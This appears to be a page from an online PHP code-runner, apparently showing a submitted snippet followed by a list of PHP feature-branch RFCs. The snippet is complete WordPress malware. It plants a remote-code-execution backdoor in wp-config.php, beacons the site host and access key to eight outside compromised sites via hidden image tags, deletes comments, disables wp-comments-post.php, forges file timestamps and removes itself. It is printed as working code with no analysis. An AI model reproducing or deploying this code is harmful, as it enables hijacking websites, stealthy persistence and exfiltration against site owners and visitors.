- Output for rfc.property-hooks, git.master, git.master_jit
- <?php function Uno_encode($String) { $Salt='dc5p9dOpBc'; $StrLen = strlen($String); $Seq = 'DMEf5HZuPq'; $Gamma = ''; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return base64_encode($String^$Gamma); } function report($rcd){ $recivers[] = 'http://lighthouse-church.co.uk/wp-content/languages/it/it.php'; $recivers[] = 'http://www.bureautaalvast.nl/wp-content/gallery/header/u/pic.php'; $recivers[] = 'http://westburyinteriors.co.uk/wp-content/uploads/2014/11/img.php'; $recivers[] = 'http://bristrand.se/hemsida/tmp/img.php'; $recivers[] = 'http://thicknessplaner.org/wp-content/plugins/akismet/u/pis.php'; $recivers[] = 'http://tfpack24.info/wp-content/plugins/ask/index.php'; $recivers[] = 'http://planelocations.com/extendstats/u/in.php'; $recivers[] = 'http://accionenredcanarias.com/inc/t/index.php'; $z = str_replace('wp-content/plugins/hello.php','',$_SERVER["REQUEST_URI"]); $report = Uno_encode($_SERVER["HTTP_HOST"]. $z . '|' . $rcd); shuffle($recivers); foreach($recivers as $t){ echo '<img width=1 height=1 src="' .$t . '?data=' .$report.'">'; } } function remove_comment(){ include_once('../../wp-config.php'); $con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD); mysql_select_db(DB_NAME, $con); $zapros = 'delete from ' . $table_prefix . 'comments where comment_content like \'%atob%\';'; $r = mysql_query($zapros); mysql_close($con); } function patch_wp(){ $fname = '../../wp-comments-post.php'; if(file_exists($fname)){ $t = '<?php die(); ?>' . PHP_EOL; $time = filemtime($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $tmp = $t . $tmp; } if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } } function self_remove(){ $fname = __FILE__; $time = filemtime($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $pos = strpos($tmp,'49de371511c1de3b'.'de34b0108ec7f129'); $tmp = substr($tmp,$pos + 32); if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } } $fname = '../../wp-config.php'; if(file_exists($fname)){ $rcd = md5($_SERVER["HTTP_HOST"].$_SERVER["HTTP_USER_AGENT"].rand(0,10000)); $t = 'if (isset($_REQUEST[\'FILE\'])){$_FILE = $_REQUEST[\''.$rcd.'\'](\'$_\',$_REQUEST[\'FILE\'].\'($_);\'); $_FILE(stripslashes($_REQUEST[\'HOST\']));}'; $time = filemtime($fname); $size = filesize($fname); $writ = false; if (!is_writable($fname)){ $perm = substr(sprintf('%o', fileperms($fname)), -4); @chmod($fname,0666); $writ = true; } clearstatcache(); if (is_writable($fname)){ $tmp = @file_get_contents($fname); $tmp = str_replace('$table_prefix', $t . PHP_EOL . '$table_prefix', $tmp); if (strlen($tmp) > 10){ $f = fopen($fname,"w"); fputs($f,$tmp); fclose($f); } clearstatcache(); if ($writ){ for($i=strlen($perm)-1;$i>=0;--$i){ $perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1)); } @chmod($fname,$perms); } @touch($fname,$time); } clearstatcache(); if($size !== filesize($fname)){ report($rcd); } } remove_comment(); patch_wp(); self_remove(); ?> //49de371511c1de3bde34b0108ec7f129
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
- 2022-12-01 RFC: Property hooks - included in PHP 8.4
- 2020-03-21 RFC: Is_Literal - declined
- 2020-12-04 Enumerations - included in PHP 8.1
- 2018-06-15 Typed Properties v2 - implemented in PHP 7.4
- 2016-08-12 Object typehint - included in PHP 7.2
- 2016-08-14 Arrow functions - withdrawn
- 2016-05-29 array_change_keys() - withdrawn
- 2016-04-19 Lexical scope support for anonymous classes - suspended
- 2016-04-17 Functional Interfaces - declined
- 2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
- 2015-08-27 Callable Prototypes - declined
- 2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
- 2015-02-18 Scalar type hints v5 - included in PHP 7
- 2015-02-14 Union Types - declined
- 2013-09-22 Anonymous classes - included in PHP 7